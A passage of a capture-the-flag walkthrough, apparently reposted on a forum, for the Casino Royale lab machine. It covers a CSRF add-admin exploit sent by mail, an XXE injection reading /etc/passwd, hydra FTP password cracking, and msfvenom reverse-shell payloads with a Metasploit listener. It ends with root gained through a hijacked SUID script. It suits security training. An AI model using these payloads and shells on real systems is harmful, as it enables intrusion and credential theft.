We have successfully logged into the Admin area. Looking for other clues.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-kusGHiWq_fg/XIILE1d0uHI/AAAAAAAAdV4/XV1XWsvKllw70PlgR8xnf1gJDfI_PMfoQCLcBGAs/s1600/15.png?w=687&ssl=1)
After checking all the tabs on the page, we found some useful information in Edit info of player Valenka.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-n75ftgnCxik/XIILFM6DyZI/AAAAAAAAdV8/25F5jkpmyOkDS-4S7cojQl8uxzuKoHC3gCLcBGAs/s1600/16.png?w=687&ssl=1)
We have got a useful directory in player profile; let’s find out where it’s going to lead us. Also, it asked us to update Domain Name casino-royale.local in our hosts file.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-vtw3q_iYIBI/XIILFdBOLII/AAAAAAAAdWA/vZxeArM56kYXNp7rRgrOdA5YfBLSgwqrQCLcBGAs/s1600/17.png?w=687&ssl=1)
Updating the hosts file.
![[Image: 18.1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-1W56Ovck9Co/XIILFrEfsCI/AAAAAAAAdWE/mttdlna0otIJRbi-Qcs8xiNiBC_C-gN3ACLcBGAs/s1600/18.1.png?w=687&ssl=1)
After opening the directory along with domain name in the browser, we found something interesting about port 25 which was open. This information might come in handy.![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-fw3y0tIzBm0/XIILF5cPYRI/AAAAAAAAdWI/l7_O-Uzb6n4v4wp3Cb4X8HctrB9giUZ9ACLcBGAs/s1600/18.png?w=687&ssl=1)
Looking around we found a CMS Snowfox. Let’s find if it is on searchsploit.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-v1HsJfSrzMs/XIILGDPGI7I/AAAAAAAAdWM/3-6z15O0mFsxrmPW0HIiZVOvgOIJrc2BgCLcBGAs/s1600/19.png?w=687&ssl=1)
We were right about it. There is an html file available about this exploit. So we copied the file to our machine.
searchsploit snowfox
searchsploit -m 35301
1
2
searchsploit snowfox
searchsploit -m 35301
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-VynXOvXhDe8/XIILGV0_ylI/AAAAAAAAdWU/UV7R2m3K_e82r5pZ7zhJM6n1GNJwpvGAACLcBGAs/s1600/20.png?w=687&ssl=1)
On reading the contents of the file, we found a script for CROSS SITE REQUEST FORGERY (add admin). So we copied this code.
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-RCszwLQn3XI/XIILGynfG8I/AAAAAAAAdWY/s6xiN8UhrakK4_C85MRjnERoORQPGKjAwCLcBGAs/s1600/21.png?w=687&ssl=1)
Created a new file as raj.html and pasted the code in it, also we made some minor changes as you can see in the image.
![[Image: 22.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-DpUD_MotRGA/XIILHJpj5iI/AAAAAAAAdWc/DqNoNj5uyTolA2cxYy5D8XAp39V7eI8IQCLcBGAs/s1600/22.png?w=687&ssl=1)
After that, we have copied the file raj.html to /var/www/html folder of our machine. And restarted the service for apache2.
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-fy0KwBkdLUM/XIILHd9QdRI/AAAAAAAAdWg/Xl9LGdNLpVYvBH01f38yrZOyUxwdJ1ANACLcBGAs/s1600/23.png?w=687&ssl=1)
Let’s connect to port 25 using telnet. We will be sending a mail to recipient valenka along with the link of raj.html file. All the steps are shown in the image.
telnet casino-royale.local 25
1
telnet casino-royale.local 25
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-6aVm0He20KU/XIILHjM_IGI/AAAAAAAAdWk/APptrywlWOAEfIra6iO6yI8WLGOtxOJMgCLcBGAs/s1600/24.png?w=687&ssl=1)
We have just tail off the access log of apache2.
tail -n1 -f /var/log/apache2/access.log
1
tail -n1 -f /var/log/apache2/access.log
![[Image: 25.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-23CSuzjIUD0/XIILHz_vn_I/AAAAAAAAdWo/9mtr_3K0OpkLM30T16aAQrCLlqCzevz2wCLcBGAs/s1600/25.png?w=687&ssl=1)
Let’s Login with the credentials, we have given in the raj.html file in the Signin section of the page casino-royale.local/vip-client-portfolios/?uri=signin
Email address: [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL] Register or Login
Password: password
![[Image: 26.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-xQn6xCyk8Xs/XIILIOjOrdI/AAAAAAAAdWs/5y9tWwv7YEUrAIiqvyNc4VmHdEkM_k1KACLcBGAs/s1600/26.png?w=687&ssl=1)
After successfully logging in, we found another clue in Edit of [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL] Register or Login in manage players.
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-y-usy49IX-I/XIILIHKYRoI/AAAAAAAAdWw/Uhl4g0oL2NgYuZPJuJzbi_YwKV0RnvFVACLcBGAs/s1600/27.png?w=687&ssl=1)
Another directory clue let’s open it in the browser and look what it holds.
![[Image: 28.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-wOaOX6jTtjQ/XIILI4SS16I/AAAAAAAAdW0/nf4gUANHaH4UbiKwtqoeReLnDV2kmZ1tACLcBGAs/s1600/28.png?w=687&ssl=1)
We landed on this page.
![[Image: 29.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-lMHOpUtAvUQ/XIILJC1EIHI/AAAAAAAAdW4/c1fP-7ZE7roM0rDtIjvEbk6MyIN3NaSIACLcBGAs/s1600/29.png?w=687&ssl=1)
Since that page doesn’t seem useful from outside. So, we checked its Page Source. This gave us a hint to use an XML External Entity injection for our next step.
![[Image: 30.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-to_tbE-5zbg/XIILKN0gAlI/AAAAAAAAdXA/uCMPPSSyIxEONYRKJDxDY2qO-9wV-t8KACLcBGAs/s1600/30.png?w=687&ssl=1)
So we looked for a code for XML External Entity injection online. Therefore, we created a new file xml.txt and pasted the code by making some minor changes.
[To see content please register here]
![[Image: 31.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-DlTceODFROo/XIILKXSBqnI/AAAAAAAAdXE/YXCf_266-F0i9dECB-kUpJDPwwpxiwYDwCLcBGAs/s1600/31.png?w=687&ssl=1)
Let’s send our XML External Entity Injection in file xml.txt using curl.
curl -d @xml.txt [To see content please register here]
1
curl -d @xml.txt [To see content please register here]
![[Image: 32.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-XCADM7OZQ3I/XIILK-r1azI/AAAAAAAAdXI/v9Op_k27-DI6A21s25Jd0u4kSYF7JBFnQCLcBGAs/s1600/32.png?w=687&ssl=1)
After exploiting the XML External Entity vulnerability, it gave us the /etc/passwd file. This contained a username for FTP Login i.e ftpUserULTRA
![[Image: 33.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-kokax3nI8_U/XIILKz6DdcI/AAAAAAAAdXM/ythxI19kDAYgP9ipVn4dO-cW8to_BzHkwCLcBGAs/s1600/33.png?w=687&ssl=1)
We have created a PHP shell payload using msfvenom.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.107 lport=443 -f raw > shell.php5
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.107 lport=443 -f raw > shell.php5
![[Image: 34.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-DkPxeu7q1gM/XIILLEr5eTI/AAAAAAAAdXQ/FpDQK7yE9eMev2W0cUeAB_RC1rP1z0NAACLcBGAs/s1600/34.png?w=687&ssl=1)
We have used hydra to find the password of username ftpUserULTRA for Ftp Login. We have cracked the password for ftp login i.e bankbank
hydra -l ftpUserULTRA -P /usr/share/wordlists/rockyou.txt [To see content please register here]
1
hydra -l ftpUserULTRA -P /usr/share/wordlists/rockyou.txt [To see content please register here]
![[Image: 35.1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-VXIzqai4Qt0/XIILLRze-fI/AAAAAAAAdXU/S_FEagX47QQEQ3KDlJVE1l_tJ_3yPwvRQCLcBGAs/s1600/35.1.png?w=687&ssl=1)
Let’s just Login into FTP, after quiet messing up we are only able to send .php5 files or files with no extension. Time to upload our shell and gave permissions to execute.
ftp 192.168.1.102 21
put shell.php5
chmod 777 shell.php5
1
2
3
ftp 192.168.1.102 21
put shell.php5
chmod 777 shell.php5
![[Image: 35.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-mnIYBo1n4uc/XIILMMiBbbI/AAAAAAAAdXY/pqx_n1mYQSIUd1rnLHhOV7r9uV2GPohowCLcBGAs/s1600/35.png?w=687&ssl=1)
After uploading our shell, we set up a listener using Metasploit-framework.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.107
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.107
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
We got the reverse shell, but it is not a proper shell. We will spawn a tty shell using python.
shell
python -c "import pty; pty.spawn('/bin/bash')"
1
2
shell
python -c "import pty; pty.spawn('/bin/bash')"
After enumerating through directories, we found a useful file config.php. Let’s check it contents.
![[Image: 36.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Pn26uZmuiak/XIILMlXfP7I/AAAAAAAAdXc/RjCCBnjkn9ssv2VfQquzP0FNRKk73V7bgCLcBGAs/s1600/36.png?w=687&ssl=1)
We when we read the contents of config.php. It gave us two useful credentials.
DBusername: valenka
DBpassword: 11archives11!
So, we used these credentials to login into Valenka.
su valenka
password: 11archives11!
1
2
su valenka
password: 11archives11!
After that, we tried to find files with SUID bit permissions.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null
Here we found an interesting Suid file and directory.
/opt/casino-royale/mi6_detect_test
![[Image: 37.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-LkAsi63C40I/XIILNPxKhtI/AAAAAAAAdXg/7qAMh52vXIYBr_lTMYunVmu4rFRq-sXsgCLcBGAs/s1600/37.png?w=687&ssl=1)
On running the SUID file, we see it is most likely using a run.sh file but there no such file or directory. Since the run.sh has no permissions. So we decided to move to /tmp directory.
/opt/casino-royale/mi6_detect_test
cd /opt/casino-royale/
ls
cd /tmp
1
2
3
4
/opt/casino-royale/mi6_detect_test
cd /opt/casino-royale/
ls
cd /tmp
![[Image: 38.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-4gpDqKcVbm8/XIILNkps4OI/AAAAAAAAdXk/jkeCiRnocBkDMI48wmqLQnpwIwoMmjDjACLcBGAs/s1600/38.png?w=687&ssl=1)
We need to create a bash code using Msfvenom:
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.107 lport=1234 R
1
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.107 lport=1234 R
After that, we have copied the code in run.sh and executed python server.
nano run.sh
python -m SimpleHTTPServer
1
2
nano run.sh
python -m SimpleHTTPServer
![[Image: 39.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-6hTzFHvi6Dw/XIILOFStxwI/AAAAAAAAdXo/kcIWYRweitsN1KzSk7brj4Cpv1esHOzLACLcBGAs/s1600/39.png?w=687&ssl=1)
We have downloaded the file in the /tmp directory. Again ran the SUID file.
wget [To see content please register here]
/opt/casino-royale/mi6_detect_test
1
2
wget [To see content please register here]
/opt/casino-royale/mi6_detect_test
![[Image: 40.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Bm432Jagido/XIILOkxsFAI/AAAAAAAAdXs/8NOifrhkC7koDg_DIU6iECI5--soYLUcgCLcBGAs/s1600/40.png?w=687&ssl=1)
This time on running the SUID file, it gave a reverse shell on our netcat listener. Finally, we have got the root access and read the FLAG!!
nc -lvp 1234
id
cd/root
ls
cd flag
cat flag.sh
1
2
3
4
5
6
nc -lvp 1234
id
cd/root
ls
cd flag
cat flag.sh
|
|
|
|
|